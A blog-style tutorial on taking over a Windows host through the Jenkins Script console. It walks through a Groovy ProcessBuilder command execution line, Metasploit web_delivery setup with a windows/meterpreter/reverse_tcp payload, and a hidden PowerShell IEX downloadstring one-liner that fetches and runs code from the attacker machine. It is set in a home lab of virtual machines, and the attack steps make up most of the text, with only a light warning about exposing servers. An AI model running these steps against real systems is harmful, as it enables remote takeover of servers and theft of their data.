Let’s hack a jenkins server!

I recently discovered how to takeover a Windows machine running Jenkins (http://jenkins-ci.org/) on a local network.

What you need:

  • Jenkins (I ran v. 1.597, but I think any will do)
  • Metasploit
  • Some technical skills

I’m running a Windows 8 x64 with Jenkins CI v. 1.597 in a virtual machine, and a Kali Linux on another virtual machine.

 

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A clean windows machine, running Jenkins.

2

Another VM running Kali Linux, with access to the Windows machine’s Jenkins web panel.

3

Let’s “Manage Jenkins” and open it’s Script console

4

After reading Jenkins documentation, I found out that you can run commands – Let’s ping google

println new ProcessBuilder('ping',"google.com").redirectErrorStream(true).start().text

5

Let’s open up metasploit msfconsole

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While that opens, let’s find our local IP ifconfig

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We use the exploit called web_delivery
use exploit/multi/script/web_delivery
We use target 2 which is Powershell (Since this has to be native windows stuff. But you could also use Python (if the machine had python installed))
set TARGET 2
We are using the payload meterpreter/reverse_tcp
set PAYLOAD windows/meterpreter/reverse_tcp
You already know your local IP, so just put it in there
set LHOST
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An overview of all the options we have set show options

9

This will execute the exploit
exploit

 

Awesome!! – Now we can run this powershell command on any windows machine (locally of course 🙂 ) and we will get a session to that machine.

Should we try running this on the Jenkins server? – Hell yeah!

powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.234.128:8080/PVdPa2LGUZ6tOaQ'))

This is obviously my unique string, yours will be different

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After a lot of back and forth trying to make this work – You know, when it has to work, it never does :S – Although when I first discovered this “advantage” it worked perfectly.
I finally got a session open to the machine, after a couple of force kills, disabling Windows Firewall, and Smart Filter and change of LPORT in my metasploit

 

10

 

Although I will not call this an exploit or a bug, hence the open CLI you get by running the Jenkins Continuous Integration Server. This is maybe more an eye opener for NOT putting your servers online.

I always hate when tutorials/guides are trying to justify some hacking technique by telling you how to not use them illegally, instead I will just end this by saying: Don’t be stupid! 🙂

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